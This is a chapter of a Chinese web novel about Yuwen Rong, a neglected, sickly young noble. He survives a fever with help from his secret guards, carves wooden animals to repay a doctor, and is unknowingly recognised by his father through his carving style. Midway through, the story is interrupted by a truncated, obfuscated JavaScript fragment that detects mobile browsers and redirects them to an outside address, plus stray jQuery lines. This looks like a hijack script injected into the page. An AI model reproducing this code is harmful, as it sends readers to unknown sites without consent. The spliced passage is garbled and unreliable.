靖王府，落叶轩。


    病来如山倒，这话对宇文戎而言，不仅是比喻。早产带来的先天不足，像潜伏在血脉深处的幽影，随时会向他啮咬上来。他练剑时便觉脚步虚浮，骨缝里渗着酸软，他只当是饥饿与严寒的常态，咬牙将一套剑法使完，额上沁出的却是冷汗。夜里读书，灯花在眼前晕开模糊的光斑，字迹游移不定。他以为是灯油劣质，用力闭了闭眼，再睁开时，视野依旧昏蒙。


    及至躺下，寒意便从四肢百骸深处泛起，并非外界的风，而是从骨髓里透出的、战栗的冷。他蜷缩起来，牙齿不受控制地磕碰，在寂静的夜里发出细微而清晰的呻吟声。随后，热浪又猛地翻卷上来，瞬间烧干了皮肤上最后一点湿意，喉咙干渴得像要裂开，每一次呼吸都带着灼痛。


    他知道自己病了。


    这个认知带来的恐惧，远比病痛本身更甚。父王不喜他生病。病弱意味着无用，意味着可能无法完成课业与考验，意味着他连被关在这里的资格都没有。上一次着凉咳嗽，被父王知晓后，换来的是一句：“如此孱弱，将来何以立足？本王像你这么大的时候，雪地里埋伏三日，斩过胡人的探马。你呢？连场寒风都经不住。”那话语里的寒意，让宇文戎不敢深究。


    不能被发现。


    他挣扎着起身，想要去倒水，却头晕目眩，险些栽倒。手撑在冰冷的炕沿，指尖因用力而惨白。他喘息着，等那一阵天旋地转过去，才艰难地挪到桌边，就着壶中残存的冷水喝了几口。凉意滑过灼热的喉咙，带来片刻虚幻的清醒，随即被更汹涌的热度淹没。


    他扶着墙，慢慢挪回炕边，和衣躺下。不能声张，必须熬过去。他想入睡，保存体力，可身体深处那把火却越烧越旺，意识在灼热与寒冷的交替中渐渐漂浮、涣散。


    不知过了多久，朦胧中似乎有影子落在身边。


    “少主？” 一个压得极低、带着明显焦急的声音响起，是如玦，他用微凉的手探上宇文戎的额头，随即是一声短促的抽气。“怎么烫成这样！”


    另外两道更沉默的身影也出现在昏暗的光线中，是如影、似随。


    他们是长公主府暗卫，跟随宇文戎回到锦州，平日隐于绝对暗处，唯有生死关头才显形。


    三人交换了一个眼神，无需言语。


    如玦立刻行动起来，动作轻捷地打来井水，将布巾浸湿、拧干，敷在宇文戎滚烫的额上。


    如玦一遍遍换着布巾，嘴里不停地低声念叨：“没事的，没事的，敷敷就好了……我小时候发烧，娘就这么弄……”


    如影和似随则无声地消失在窗外夜色里。


    半个时辰后，一位睡眼惺忪、衣袍凌乱的老大夫，被“请”到了落叶轩。老医师初时惊怒，待看到炕上烧得脸颊通红、呼吸急促的孩子，以及这四处漏风的冰冷屋子，怒色化为了深深的叹息与怜悯。他仔细诊脉，翻开眼皮查看，眉头越皱越紧。


    “邪寒入里，郁而化热，加之先天不足，元气久亏……若再拖延，恐生变症。”老大夫一边摇头，一边迅速写下药方，又从随身旧药箱里挤出几丸应急的药剂，让如玦先喂下。


    他看着空空如也、连个像样药罐都没有的屋子，又看看那三个虽沉默却气息精悍的少年，以及炕上安静得过分的孩子，叹了口气：“这方子上的药，我药房里有。先拿去用吧。”顿了顿，声音压低，却清晰，“药钱……不急，什么时候有了，什么时候再给吧。” 他行医多年，见过太多贫苦，眼前这孩子与这情景，虽透着古怪，但那病弱与孤寂是真的。


    药，被如玦不知用什么法子悄悄熬好，一勺勺喂进宇文戎嘴里，苦得他昏迷中都在蹙眉。


    如玦守了他一夜，换帕子，喂水，留意他的呼吸。如影和似随隐在暗处，确保这片被遗忘的角落，在此刻不会受到任何意外的侵扰。


    高热在天亮后终于开始退却，留下的是掏空般的虚弱和更沉重的寂静。


    命捡回来了，债留下了。


    药钱对暗卫而言或许不算什么，但他们严格遵守着界限，绝不能越俎代庖替少主解决这类问题。


    而对宇文戎来说，这区区几副药的费用，不啻于一座小山。


    长公主给包裹的碎银早已用完。王府发放的月例，不含银钱。他身无分文，落叶轩里更没有值钱之物。接受施舍？不，那触碰了他维持至今、近乎本能般的骄傲底线——他可以承受强加的苦难，却不能心安理得地背负不经偿还的恩惠。


    病体未愈，他仍坚持每日完成那些固定的功课，只是将练剑改为更缓慢的招式默想，将扫地的时间拉长，以节省体力。劈柴时，他留意着那些送来的木头。多是歪歪扭扭、木质粗疏的杂木，但偶尔，也会有一两块纹理稍细、质地较密的边角料。


    记忆的角落被翻动。儿时金陵喧闹的集市，他曾逛过的木雕小摊——威武雄壮的狮子、憨态可掬的猪、耳朵长长的兔子……色彩鲜艳，活灵活现。他闭上眼睛，让那只模糊的、带着童趣印象的木兔在脑海中逐渐清晰。


    柴堆里，他开始留意那些纹理相对细腻、不易劈裂的木块。粗糙的柴刀显然不适合精细雕刻，他需要更锋利的刃。


    如玦在夜里，将一把小而锋利、似乎常用于削切绳索或皮革的短刀，放在了他窗台上。


    没有人教，全凭感觉。最初的手指是笨拙的，力度掌控不住，一刀下去，不是削掉了预想的耳朵，就是刻深了毁了整体。废弃的残块被他扔进灶膛，火光映着他沉默而专注的侧脸。失败，再挑木头，再画线，再下刀。虎口被刀柄磨得红肿破皮，渗出血丝。


    渐渐地，手中之物开始有了兔子的轮廓，有了蹲坐的姿态。虽然粗糙，但已能辨认。他没有停，继续雕刻第二只，第三只……手法在重复中变得熟练，线条从生硬变得流畅，甚至开始尝试刻出兔子眼睛那一点点灵动的神采。


    他将几个自认为最成功的作品，连同用炭条仔细写好的纸条——请代售，价随意，放在了如玦通常隐身的地方。


    如玦拿起木兔，指尖摩挲过那尚显稚嫩却已见用心的刀痕，目光投向屋内那个在油灯下继续与木头较劲的小小身影，涌起一股难以言喻的心酸，将木兔纳入怀中，无声离去。


    集市上，这些毫无装饰、却透着朴拙生气的小木兔，竟颇得一些寻常百姓家孩子的喜爱。价格自然极贱，但几个铜板，几个铜板地，开始汇聚。


    宇文戎不知道具体售价，他只是刻。从兔子到小鸟，从憨态的小狗到略具形态的马驹。木屑堆积在脚下，指尖的茧越来越厚，旧伤叠着新伤。但每完成一件，他眼中会有极短暂的、宛如冰湖微光般的专注满足。


    两个月后的一个傍晚，如玦再次出现，将一小串用细绳穿起的铜钱放在他面前，不多，但足够药费。同时放下的，还有一支红艳艳、亮晶晶的糖葫芦。“少主，药钱攒够了。这个……是用多出的几文买的。您很久没吃了吧。”


    糖葫芦的色泽，与落叶轩的灰败格格不入，甜腻的香气甚至有些刺鼻。宇文戎看着它，久久没有动作。然后，他拿起糖葫芦，小心地将上面裹着糖壳的山楂果一颗颗摘下。他给自己留下了最小的两颗，其余六颗，均匀地分成三份，每份两颗，用干净的树叶托着，放在了三个暗卫惯常出现的、不同的隐蔽角落。


    然后，他用了几乎一整夜的时间，量尺寸，削榫卯，打磨抛光，做出一个结实、规整、带着盖子的小木药箱。不算精致，但边角圆润，开合顺畅，里面还细心地用薄木片隔出了几个小格子，可以分门别类放置不同的药材。


    他将所有的铜钱放入，又铺上干净的粗布。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181950|194767||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >最后，用一支秃笔，在唯一一张稍显完整的毛边纸上，极其工整地写下：


    “大夫仁心，赠药活命。药资奉还，感激于心。小箱粗陋，聊盛药石，望勿嫌弃。宇文戎谨上。”


    字迹端正，力透纸背，与他年幼的外表格格不入。


    宇文戎做完这些，才拿起自己的那两颗裹着糖衣的山楂，放入口中。甜，混合着山楂的微酸，在舌尖化开。粗糙的糖壳有些硌牙，但那久违的、纯粹的甜意，却顺着喉咙，一路熨帖到了几乎已经忘记这种滋味的胃里，更渗进了冰冷的心底某个角落。


    如玦将药箱和信，送到了老大夫的诊堂。老大夫打开药箱见到那串铜钱和信笺，摸着那虽粗糙却边角打磨光滑、不扎手的木箱，良久，摇头叹息，最终将药箱放在了药柜最上方。


    宇文戎雕刻木器的事情，并非绝密。至少，那些逐渐增多的、被他小心藏在柴堆深处或床下的“作品”，并未逃过有意的目光。


    消息最终以一种平淡的方式，呈报到了靖王案前。靖王正在批阅军报，闻言笔尖一顿，墨汁在纸上泅开一小团污迹。他脸上没有任何表情，只是摆了摆手。


    几日后，一个普通的府中采买仆役，在集市角落从一个摆摊老人那里，买回了一只木雕小马。仆役将木马呈上时，靖王正在擦拭他的佩刀。他接过那木马，入手微沉，木质常见，马驹形态稚朴，昂首奋蹄，透着一股未经雕饰的勃勃生气。


    时间仿佛在那一刻倒流。


    许多年前，北境战事间歇的某个冬日，年轻的靖王在营帐中，就着炭火，也曾用随身的匕首，削刻过一只木马，那是给未出世孩儿的念想。


    他雕功很好，但从未展露于人前，更不曾教过戎儿。


    可这木马，靖王的目光，骤然凝固在马蹄处一道特定的削切弧度上，然后是鬃毛处理的方式，尾部流畅而果断的收刀……


    这种刀工，这种对木纹顺逆的直觉把握，对力道精微的控制……，虽然稚嫩，但和自己当年的处理如出一辙。


    一种沉默的血脉回声，穿过经年的恨意与隔阂，猝不及防地撞入眼底。


    靖王猛地收紧了手指，木马坚硬的棱角硌得掌心生疼。


    日光西斜，将落叶轩窗棂的影子拉得细长。


    宇文戎盘坐在冰冷的地面上，将全部的知觉都凝聚在指尖与木料之间。木屑如细雪般簌簌落下。那匹木马的轮廓已十分清晰，昂首的姿态，绷紧的肌肉线条，甚至马尾飘拂的力道，都在他沉稳而专注的呼吸下，一点点从混沌中挣脱出来。


    就在刀锋即将刻画马眼最后一点神采的刹那——


    “嚓。”


    一声轻得几乎湮没在风声里的、特定节奏的摩擦声，从院墙某处阴影传来。是如玦的暗号，只有一个含义：剑锋寒，归。


    宇文戎浑身猛地一僵，所有的专注与沉浸瞬间炸得粉碎。


    寒师兄回来了！


    来不及思考，身体先于意识行动。他几乎是弹跳起来，手忙脚乱地将那匹即将完成的木马塞入床下，另一只手疯狂地扫拢地上的木屑，扔向角落的柴堆。刻刀？刻刀！他目光急扫，发现它掉在了刚才的位置，连忙捡起，迅速地塞进靴筒夹层。


    寒师兄授艺，容不得半分旁骛与懈怠，若让他知道自己将时间与心神消耗在雕刻上，宇文戎连想都不敢想。


    他迅速地拿起流光剑，冲入院中。


    夕阳余晖将他瘦削的身影投在布满枯叶的地上，拉得很长。


    通常，如玦的暗号过后，剑锋寒的身影很快就会出现在视线内。


    宇文戎一遍又一遍地演练着剑招，试图用身体的疲惫和动作的重复，来掩盖内心的惊涛骇浪，也祈祷着这幅专心练剑的画面，能在门被推开的那一刻，成功地蒙蔽过那双过于锐利的眼睛。